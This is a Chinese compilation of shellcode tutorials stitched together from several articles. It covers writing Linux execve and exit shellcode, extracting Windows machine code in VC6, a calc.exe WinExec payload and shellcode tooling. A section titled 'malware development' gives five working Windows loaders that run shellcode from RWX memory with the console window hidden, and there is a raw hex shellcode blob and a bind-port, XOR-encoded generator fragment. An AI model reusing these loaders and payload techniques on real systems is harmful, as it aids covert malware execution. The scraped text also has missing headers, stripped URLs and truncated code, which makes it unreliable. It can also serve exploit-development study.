Shellcode指南
- 格式:doc
- 大小:739.50 KB
- 文档页数:54
ShellCode⼊门(提取ShellCode)什么是ShellCode:在计算机安全中,shellcode是⼀⼩段代码,可以⽤于软件漏洞利⽤的载荷。
被称为“shellcode”是因为它通常启动⼀个命令终端,攻击者可以通过这个终端控制受害的计算机,但是所有执⾏类似任务的代码⽚段都可以称作shellcode。
Shellcode通常是以机器码形式编写的,所以我们要学习硬编码。
char shellcode[] = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42""\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03""\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b""\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e""\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c""\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74""\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe""\x49\x0b\x31\xc0\x51\x50\xff\xd7";int main(int argc, char **argv){_asm{lea eax,shellcodecall eax}}上⾯的就是ShellCode,是汇编对应的机器码,通过反编译就可以看到此机器码。
⼆进制⼊门-打造Linuxshellcode基础篇0x01 前⾔本⽂的⽬的不是为了介绍如何进⾏恶意的破坏性活动,⽽是为了教会你如何去防御此类破坏性活动,以帮助你扩⼤知识范围,完善⾃⼰的技能,如有读者运⽤本⽂所学技术从事破坏性活动,本⼈概不负责。
0x02 什么是Shellcodeshellcode是⽤作利⽤软件漏洞的有效载荷的⼀⼩段代码,因为它通常启动⼀个命令shell,攻击者可以从中控制受攻击的机器,所以称他为。
但是任何执⾏类似任务的代码都可以称为shellcode。
因为有效载荷的功能不仅限于⼀个shell。
shellcode基本的编写⽅式有以下三种直接编写⼗六进制操作码。
使⽤c语⾔编写程序,然后进⾏编译,最后进⾏反汇编来获取汇编指令和⼗六进制操作码。
编写汇编程序,将该程序汇编,然后从⼆进制中提取⼗六进制操作码。
第⼀种⽅法很极端,直接编写⼗六进制操作码是⼀件⾮常难得事情。
下⾯我将带⼤家⼀步步去编写⾃⼰的shellcode。
0x03 execve系统调⽤在Linux系统上执⾏程序的⽅式有多种,但是其中使⽤最⼴泛的⼀种⽅式就是通过借助execve系统调⽤。
我们⾸先来看看execve的使⽤⽅法。
说明看起来很复杂,其实很简单。
我们先使⽤c语⾔来实现它。
c语⾔实现execve系统调⽤创建shell我们⾸先来新建⼀个⽂件:我们使⽤vim来编写代码:看完上⾯的介绍,使⽤c语⾔来实现就很简单了。
123456789#include <unistd.h> int main(){ char * shell[2];shell[0]="/bin/sh";shell[1]=NULL;execve(shell[0],shell,NULL);}然后我们使⽤gcc 编译器来编译⼀下:运⾏看看:成功执⾏创建⼀个shell 。
转向汇编语⾔前⾯我们已经使⽤c 语⾔来实现了,现在我们就需要⽤汇编语⾔来重写execve 系统调⽤,其实很简单。
恶意软件开发——shellcode执⾏的⼏种常见⽅式⼀、什么是shellcode?shellcode是⼀⼩段代码,⽤于利⽤软件漏洞作为有效载荷。
它之所以被称为“shellcode”,是因为它通常启动⼀个命令shell,攻击者可以从这个命令shell控制受损的计算机,但是执⾏类似任务的任何代码都可以被称为shellcode。
因为有效载荷(payload)的功能不仅限于⽣成shell简单来说:shellcode为16进制的机器码,是⼀段执⾏某些动作的机器码那么,什么是机器码呢?在百度百科中这样解释道:计算机直接使⽤的程序语⾔,其语句就是机器指令码,机器指令码是⽤于指挥计算机应做的操作和操作数地址的⼀组⼆进制数简单来说:直接指挥计算机的机器指令码⼆、shellcode执⾏的⼏种常见⽅式1、指针执⾏最常见的⼀种加载shellcode的⽅法,使⽤指针来执⾏函数#include <Windows.h>#include <stdio.h>unsigned char buf[] ="你的shellcode";#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")//windows控制台程序不出⿊窗⼝int main(){((void(*)(void)) & buf)();}2、申请动态内存加载申请⼀段动态内存,然后把shellcode放进去,随后强转为⼀个函数类型指针,最后调⽤这个函数#include <Windows.h>#include <stdio.h>#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")//windows控制台程序不出⿊窗⼝int main(){char shellcode[] = "你的shellcode";void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(exec, shellcode, sizeof shellcode);((void(*)())exec)();}3、嵌⼊汇编加载注:必须要x86版本的shellcode#include <windows.h>#include <stdio.h>#pragma comment(linker, "/section:.data,RWE")#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")//windows控制台程序不出⿊窗⼝unsigned char shellcode[] = "你的shellcode";void main(){__asm{mov eax, offset shellcodejmp eax}}4、强制类型转换#include <windows.h>#include <stdio.h>#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出⿊窗⼝unsigned char buff[] = "你的shellcode";void main(){((void(WINAPI*)(void)) & buff)();}5、汇编花指令和⽅法3差不多#include <windows.h>#include <stdio.h>#pragma comment(linker, "/section:.data,RWE")#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出⿊窗⼝unsigned char buff[] = "你的shellcode";void main(){__asm{mov eax, offset xff;_emit 0xFF;_emit 0xE0;}}以上五种⽅法就是最常见的shellcode执⾏⽅式。
WindowsShellcode学习笔记展开全文0x00 前言Windows Shellcode学习笔记——通过VisualStudio生成shellcode,shellcode是一段机器码,常用作漏洞利用中的载荷(也就是payload)。
在渗透测试中,最简单高效的方式是通过metasploit生成shellcode,然而在某些环境下,需要定制开发自己的shellcode,所以需要对shellcode的开发作进一步研究。
0x01 简介编写Shellcode的基本方式有3种:直接编写十六进制操作码采用C或者Delphi这种高级语言编写程序,编译后,对其反汇编进而获得十六进制操作码编写汇编程序,将该程序汇编,然后从二进制中提取十六进制操作码本文将介绍如何通过Visual Studio编写c代码来生成shellcode,具体包含以下三部分内容:利用vc6.0的DEBUG模式获取shellcode测试Shellcode自动生成工具——ShellcodeCompiler使用C++编写(不使用内联汇编),实现动态获取API地址并调用,对其反汇编可提取出shellcode 0x02 利用vc6.0的DEBUG模式获取shellcode注:本节参考爱无言的《挖0day》附录部分测试系统:Windows XP1、编写弹框测试程序并提取汇编代码代码如下:#include "stdafx.h"#include int main(int argc, char* argv[]){ MessageBoxA(NULL,NULL,NULL,0); return 0;}在MessageBoxA(NULL,NULL,NULL,0);处,按F9下断点debug模式按F5开始调试,跳到断点按Alt+8将当前C代码转为汇编代码,如图00401028 mov esi,esp0040102A push 00040102C push 00040102E push 000401030 push 000401032 call dword ptr [__imp__MessageBoxA@16 (0042528c)]call是一条间接内存调用指令,实际使用需要真正的内存地址按Alt+6打开查看内存数据的Memory窗口,跳到位置0x0042528c,如图0042528C EA 07 D5 77 00 00 00 ..誻...取前4字节,倒序排列(内存中数据倒着保存):77D507EAcall命令的实际地址为0x77D507EAMessageBoxA函数位于user32.dll中,调用时需要提前加载user32.dll2、编写内联汇编程序并提取机器码新建工程,使用内联汇编加载上述代码:#include "stdafx.h"#include int main(int argc, char* argv[]){ LoadLibrary("user32.dll"); _asm { push 0 push 0 push 0 push 0 mov eax,0x77D507EA call eax } return 0;}编译执行,成功弹框在push 0处按F9下断点,F5进入调试模式跳至断点处按Alt+8将当前VC代码转为汇编代码,如图12: push 00040103C push 013: push 00040103E push 014: push 000401040 push 015: push 000401042 push 016: mov eax,0x77D507EA00401044 mov eax,77D507EAh17: call eax00401049 call eax接着提取上述代码在内存中的数据,如图范围是0040103C – 0040104A注:call eax的地址为00401049,表示起始地址,完整代码的长度需要+1按Alt+6打开查看内存数据的Memory窗口跳到0x0040103C,内容如下:0040103C 6A 00 6A 00 6A 00 6A 00 B8 EA 07 D5 77 FF D0 j.j.j.j.戈.誻..截取0040103C – 0040104A的内容如下:6A 00 6A 00 6A 00 6A 00 B8 EA 07 D5 77 FF D0这段机器码就是接来下要使用的shellcode3、编写加载shellcode的测试程序#include "stdafx.h"#include int main(int argc, char* argv[]){ LoadLibrary("user32.dll"); char shellcode[]=" 6A 00 6A 00 6A 00 6A 00 B8 EA 07 D5 77 FF D0"; ((void(*)(void))&shellcode)(); return 0;}成功执行shellcode注:由于Win7系统引入了ASLR机制,因此我们不能在shellcode中使用固定的内存地址,上述方法在Win7下不通用0x03 Shellcode自动生成工具——ShellcodeCompiler下载地址:https:///NytroRST/ShellcodeCompiler特点:c++开发开源工具借助NASM可实现封装api,转换为bin格式的shellcode和asm汇编代码实际测试:Source.txt内容如下:function MessageBoxA("user32.dll");function ExitProcess("kernel32.dll");MessageBoxA(0,"This is a MessageBox example","Shellcode Compiler",0);ExitProcess(0);cmd下运行:ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm注:ShellcodeCompiler.exe和文件夹NASM放于同级目录执行后shellcode保存在Shellcode.bin文件中为便于测试生成的shellcode,可在生成过程中加入-t参数执行一次shellcode我参考ShellcodeCompiler的代码将其执行shellcode的功能提取出来,实现了读取文件并加载文件中的shellcode,完整代码如下:#include size_t GetSize(char * szFilePath){ size_t size; FILE* f= fopen(szFilePath, "rb"); fseek(f, 0, SEEK_END); size = ftell(f); rewind(f); fclose(f); return size;}unsigned char* ReadBinaryFile(char *szFilePath, size_t *size){ unsigned char *p = NULL; FILE* f = NULL; size_t res = 0; // Get size and allocate space *size = GetSize(szFilePath); if (*size == 0) return NULL; f = fopen(szFilePath, "rb"); if (f == NULL) { printf("Binary file does not exists!\n"); return 0; } p = new unsigned char[*size]; // Read file rewind(f); res = fread(p, sizeof(unsigned char), *size, f); fclose(f); if (res == 0) { delete[] p; return NULL; } return p;}int main(int argc, char* argv[]){ char *szFilePath=argv[1]; unsigned char *BinData = NULL; size_t size = 0; BinData = ReadBinaryFile(szFilePath, &size); void *sc = VirtualAlloc(0, size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (sc == NULL) { return 0; } memcpy(sc, BinData, size); (*(int(*)()) sc)(); return 0;}0x04 C++编写(不使用内联汇编),实现动态获取API地址并调用,对其反汇编可提取出shellcode对于ShellcodeCompiler,最大的不足是使用了内联汇编,vc在64位下默认不支持内联汇编,所以该方法无法生成64位shellcode 注:delphi支持64位的内联汇编vc在64位下虽然不能直接使用内联汇编,但是可以将程序段全部放到一个asm文件下进行编译X64上恢复VS关键字__asm的方法可参照:/showthread.php?p=1260419那么,想要开发一个64位的shellcode,最直接的方式就是不使用内联汇编,纯c++编写,实现动态获取API地址并调用,最后对其反汇编进而得到shellcode好处如下:便于调试,源代码的可读性大大增强但是,我在网上并没有找到现成的代码,于是根据原理尝试自己实现注:1、编写shellcode需要实现以下步骤:获取kernel32.dll基地址定位GetProcAddress函数地址使用GetProcAddress确定LoadLibrary函数地址使用LoadLibrary加载DLL文件使用GetProcAddress查找某个函数的地址(例如MessageBox)指定函数参数调用函数2、另一个参考资料:/showthread.php?t=203140参考资料通过c++实现了加载一个第三方dll以此为参考进行修改,实现我们想要的功能:实现动态获取API地址并调用完整代码已上传至github:https:///3gstudent/Shellcode-Generater特点:支持x86和x64纯c++实现,动态获取GetProcAddress和LoadLibrary函数的地址编译前对VisualStudio做如下配置:1、使用Release模式。
shellcode之三:shellcode编写-电脑资料声明:主要内容来自《The Shellcoder's Handbook》,摘录重点作为笔记并加上个人的一些理解,如有错,请务必指出,。
系统调用Shellcode是一组可注入的指令,可在被攻击的程序内运行。
由于shellcode要直接操作寄存器,通常用汇编语言编写并翻译成十六进制操作码。
我们想让目标程序以不同与设计折预期的方式运行,操纵程序的方法之一是强制它产生系统调用。
在Linux里有两种方法来执行系统调用。
间接的方法是libc,直接的方法是用汇编指令调用软中断执行系统调用。
在Linux里,程序通过int 0x80软中断来执行系统调用,调用过程如下:1、把系统调用编号载入EAX;2、把系统调用的参数压入其他寄存器;最多支持6个参数,分别保存在EBX、ECX、EDX、ESI、EDI和EBP里;3、执行int 0x80指令;4、CPU切换到内核模式;5、执行系统函数。
如何得到一个shellcode注意两点:1、shellcode应该尽量紧凑,这样才能注入更小的缓冲区;2、shellcode应该是可注入的;当攻击时,最有可能用来保存shellcode的内存区域是为了保存用户的输入而开辟的字符数组缓冲区。
因此shellcode不应包含空值(/x00),在字符数组里,空值是用来终止字符串的,空值的存在使得把shellcode复制到缓冲区时会出现异常。
下面以exit()系统调用为例写一个shellcode。
exit()的系统编号为1。
用汇编指令实现Section .textglobal _start_start:mov ebx,0mov eax,1int 0x80用nasm编译生成目标文件,然后用GNU链接器链接目标文件,最后用objdump显示相应的操作码(下图的标号为_start部分)sep@debian66:~/shellcode$ nasm -f elf shellcode.asmsep@debian66:~/shellcode$ ld -o shellcode shellcode.osep@debian66:~/shellcode$ objdump -d shellcodeshellcode: file format elf32-i386Disassembly of section .text:08048080 <_start>:8048080: bb 00 00 00 00 mov $0x0,%ebx8048085: b8 01 00 00 00 mov $0x1,%eax804808a: cd 80 int $0x80sep@debian66:~/shellcode$shellcode[] = {"/xbb/x00/x00/x00/x00/xb8/x01/x00/x00/x00/xcd/x80"},可以发现里面出现很多空值,基于shellcode的可注入性,我们需要找出把空值转换成非空操作码的方法,电脑资料《shellcode之三:shellcode编写》(https://www.)。
编写shellcode的全过程1、很简单的一段代码,功能就是打开Windows自带的计算器程序。
而我要实现的shellcode的功能就是这个。
1.#include <windows.h>2.3.int main()4.{5.LoadLibraryA("kernel32.dll");6.7.WinExec("calc.exe", SW_SHOW);8.9.return 0;10.}2、将WinExec("calc.exe", SW_SHOW);改成汇编后的样子。
1.#include <windows.h>2.3.int main()4.{5.char str[]="calc.exe";6.char* p = str;7.8.LoadLibraryA("kernel32.dll");9.10.__asm11.{12.push 0;13.14.mov eax,p;15.push eax;16.17.mov eax,0x7c86250d; //WinExec的地址18.call eax;19.}20.21.return 0;22.}3、在堆栈中构造字符串,经典!这招是我在书上学来的,并非本人原创 -_-。
1./*2.* Author: Leng_que3.* Date: 2009年10月12日11:02:404.*E-mail:******************.cn5.* Description: 一段通过WinExec运行calc.exe的shellcode 雏形I6.* Comment: 在WindowsXP SP3 + VC6.0环境下调试通过7.*/8.9.#include <windows.h>10.11.int main()12.{13.//因为WinExec这个API函数在kernel32.dll这个动态链接库里,所以要先加载它14.LoadLibraryA("kernel32.dll");15.16.__asm17.{18.push ebp;19.mov ebp,esp;20.21.//在堆栈中构造字符串:calc.exe22.xor eax,eax;23.push eax;24.25.sub esp,08h;26.mov byte ptr [ebp-0ch],63h;27.mov byte ptr [ebp-0bh],61h;28.mov byte ptr [ebp-0ah],6Ch;29.mov byte ptr [ebp-09h],63h;30.31.mov byte ptr [ebp-08h],2Eh;32.mov byte ptr [ebp-07h],65h;33.mov byte ptr [ebp-06h],78h;34.mov byte ptr [ebp-05h],65h;35.36.//执行WinExec,启动计算器程序37.push 0;38.39.lea eax,[ebp-0ch];40.push eax;41.42.mov eax,0x7c86250d; //WinExec的地址43.call eax;44.45.//平衡堆栈46.mov esp,ebp;47.pop ebp;48.}49.50.return 0;51.}4、具有shellcode特点的汇编代码完成了!值得一提:在这一步我这么也得不到LoadLibrary(在原来的代码中我是写这个的)的地址,于是只好先去吃饭,在来回饭堂的校道上,我突然想到了,原来自己一时忘记,于是犯了一个低级错误,其中在Kernel32.dll里是没有LoadLibrary这个函数的,只有LoadLibraryA 和LoadLibraryW,它们的区别在于传入的参数是ANSI编码的还是Unicode编码的,但是为什么我们在平时的编程中写LoadLibrary又可以正常运行呢?那是因为其实这个LoadLibrary只是一个宏而已啦,在VC6.0下选中这个LoadLibrary函数(当然,应该叫宏更准确些),然后右键->"Go To Definition"一下就知道了。
Shellcode学习之提取shellcode-电脑资料说明:此程序可以用标准c语言string格式打印出你所在ShellCodes函数中编写的shellcode用vc编译时请使用Release格式并取消优化设置,否则不能正常运行*/#i nclude#i nclude#i nclude#define DEBUG 1 //定义为调试模式,。
本地测试用。
打印shellcode后立即执行shellcode////函数原型//void DecryptSc(); //shellcode解码函数,使用的是xor法加微调法void ShellCodes(); //shellcode的函数,因为使用了动态搜索API地址。
所以所有WINNT系统通杀void PrintSc(char *lpBuff, int buffsize); //PrintSc函数用标准c 格式打印////用到的部分定义//#define BEGINSTRLEN 0x08 //开始字符串长度#define ENDSTRLEN 0x08 //结束标记字符的长度#define nop_CODE 0x90 //填充字符,用于不确定shellcode入口用#define nop_LEN 0x0 //ShellCode起始的填充长度,真正shellcode的入口#define BUFFSIZE 0x20000 //输出缓冲区大小#define sc_PORT 7788 //绑定端口号 0x1e6c#define sc_BUFFSIZE 0x2000 //ShellCode缓冲区大小#define Enc_key 0x7A //编码密钥#define MAX_Enc_Len 0x400 //加密代码的最大长度 1024足够?#define MAX_Sc_Len 0x2000 //hellCode的最大长度8192足够?#define MAX_api_strlen 0x400 //APIstr字符串的长度#define API_endstr "strend"//API结尾标记字符串#define API_endstrlen 0x06 //标记字符串长度//定义函数开始字符,定位用#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90"__asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90#define PROC_END PROC_BEGIN//---------------------------------------------------enum{ //Kernel32中的函数名定义,用于编写自定义的shellcode。
Shellcode目录1: 概述和工具 (1)1.1 概述 (1)1.2 Windows与Linux的Shellcode 有什么不同? (2)1.3 建立环境 (2)1.4 其他工具 (4)1.4.1 Metasploit (4)1.4.2 OllyDbg 1.10 (4)1.4.3 lcc-win32 (4)2. 我的第一个shellcode (4)2.1 说明 (4)2.2 怎样从windows DLL里发现要使用的函数地址 (5)2.3 汇编代码 (6)2.4 编译汇编代码 (7)2.5 获取shellcode (7)2.6 测试shellcode (8)3. 怎么在汇编里使用字符串 (9)4. 函数Hash表 (10)4.1 概述 (10)4.2 目标 (10)4.3 使用OllyDbg运行分析shellcode (14)5. 动态Shellcode (18)5.1 目标 (18)5.2 建立函数Hash表 (18)1: 概述和工具1.1 概述The assembly tutorials contained within this site are aimed towards creating assembly code in the aim to get you ready to create your own assembly and shellcode - which would hopefully be included with the "Project Shellcode Development Framework".1.2 Windows与Linux的Shellcode 有什么不同?摘自: (/shellcode/shellcode.html)Linux提供了直接的方式与内核进行交互(通过int 0x80 接口)。
可以在下列网址找到完整的Linux syscall 表rmatik.htw-dresden.de/~beck/ASM/syscall_list.html。
Windows 没有直接提供内核访问接口。
系统需要从运行的DLL(动态连接库)里获取要使用的函数的地址来进行交互。
关键的不同在于在Windows下每一个操作系统版本的函数的地址都是不同的,而Linux下int 0x80 syscall编号是固定的。
Windows程序员这样做,是因为他们不用担心任何内核的变化带来的麻烦;但是在Linux 世界所有内核级的函数都有一个固定的编号,如果他们变了,会有超过100万的程序员很生气,后果很严重。
那么我们怎么在windows下发现需要的DLL函数的地址呢?在不同的windows版本下又是怎么处理的呢?(/shellcode/shellcode.html)目前有多种方式找到你需要使用的函数的地址。
本系列指南描述了两种方法来定位函数的地址;你可以使用函数的硬编码地址。
在本指南使用硬编码方式获取函数地址。
本指南里唯一需要保证映射到shellcode的地址空间里的dll是kernel32.dll。
这个dll包含了函数LoadLibrary和GetProcAddress,这两个函数用于获取映射到进程地址空间里的其他函数的地址。
使用这个方法有个问题,就是不同版本的Windwos相同函数的地址的偏移可能不一样。
所以如果使用这种方法,你的shellcode就只能在特定的Windows平台上运行。
动态发现函数地址的机制将在后续指南里讲述。
1.3 建立环境我们先把焦点放在Windows 汇编创建的上;然而Linux系统对于开发汇编和shellcode 真的很方便。
基于上述原因,我们使用Cygwin作为平台来开发shellcode。
先下载Cygwin的安装文件/setup.exe。
安装时选择下列包。
- Devel->binutils (contains ld, as, objdump)- Devel->gcc- Devel->make- Devel->nasm- Devel->gdb- Editors->hexedit- Editors->vim- Net->netcat- System->util-linux当你的Cygwin安装好后,下载下列工具。
一些是我写的脚本可以让我们的工作更容易些。
你可以把它们保存在下列目录:C:\cygwin\home\Administrator\shellcode\,Administrator是你的用户名。
名称说明下载地址xxd-shellcode.sh 解析xxd输出用于提取原始的shellcode /downloads/xxd-shellcode.shshellcode-compiler.sh 自动编译汇编代码,提取原始的shellcode,创建一个Unicode的针对原始shellcode进行编码后的Shellcode,注入你编码后的shellcode到"Template Exploit"(ms07-004)进行测试,创建一个包含你shellcode 的C测试程序,并且编译好,只差运行了。
是不是很给力。
/downl oads/shellcode-compiler.sh或者/downl oads/shellcode-compiler.zipfindFunctionInDLL.sh 找出系统中哪一个DLL包含你指定的函数/downloads/findFunctionInDLL.sharwin.c Win32 DLL 地址获取程序/shellcode/arwin.c或者/downloads/arwin.cshellcodetest.c /shellcode/shellcodetest.c或者/downloads/shellcodetest.c启动bash shell进入前面创建的shellcode路径。
cd /home/Administrator/shellcode/现在,你需要编译arwin.c。
gcc -o arwin arwin.c现在你可以通过输入./arwin 执行arwin命令显示他的使用信息。
我们不需要编译shellcodetest.c。
他在测试shellcode是才使用。
1.4 其他工具1.4.1 MetasploitThe Metasploit Framework is an awesome resource for shellcoding. At the time of writing, the Metasploit team are about to release version Framework 3.3, which runs in a cygwin environment on Windows。
https:///framework-3.3-dev.exe/downloads/framework-3.3-dev.exeThis version of the framework gets installed into C:\msf3\ and has its own dedicated cygwin environment. Y ou can launch a shell via shell.bat.There are also some awesome Windows programs that we will start to use in Tutorial 4, so download the following tools:1.4.2 OllyDbg 1.10- OllyDbg 1.10 (A wesome Windows Debugger)http://www.ollydbg.de/odbg110.zip(Project Shellcode Download: /downloads/odbg110.zip)1.4.3 lcc-win32lcc-win32,自由Windows C 编译器http://www.q-software-solutions.de/pub/lccwin32.exe/downloads/lccwin32.exe)2. 我的第一个shellcode2.1 说明本节描述了如何使用工具完成一个shellcode的编写。
看看怎么找到windows 函数的地址,怎么编译汇编代码,怎么运行shellcode。
在这一节我们将创建一个最简单的shellcode,她完成下面工作,Sleep5秒然后退出。
这节内容参照/shellcode/shellcode.html.2.2 怎样从windows DLL里发现要使用的函数地址Windows允许我们通过调用"Sleep"函数实现Sleep功能。
因此我们需要知道使用这个函数的我们需要做些什么工作?在汇编里我们使用"call 0xXXXXXXXX"指令,XXXXXXXX是函数在内存里的地址。
因此我们需要找到这个函数的加载的地址。
我们可以使用arwin 程序来完成这个功能。
$ ./arwin.exearwin - win32 address resolution program - by steve hanna - v.01./arwin <Library Name> <Function Name>但是使用arwin.exe 需要我们知道函数是存在于哪一个DLL里的。
我们可以通过脚本"findFunctionInDLL.sh"来找到函数在哪一个DLL里。
+----------------- Start findFunctionInDLL.sh -----------------+#!/bin/bashif [ $# -ne 1 ]thenprintf "\n\tUsage: $0 functionname\n\n"exitfifunctionname=$1searchDir="/cygdrive/c/WINDOWS/system32"arwin_exe="`pwd`/arwin.exe"cd $searchDirls -1d *.dll | grep -v gui | while read dlldoprintf "\r ";printf "\r$dll";count=0count=`$arwin_exe $dll $functionname | grep -c "is located at"`if [ $count -ne 0 ]thenprintf "\n";$arwin_exe $dll $functionname | grep "is located at"printf "\n";fidoneprintf "\r ";+----------------- End findFunctionInDLL.sh -----------------+首先,你需要确认findFunctionInDLL.sh 里包含的搜索路径是否正确,通常情况下为/cygdrive/c/WINDOWS/system32 请根据实际情况进行更改。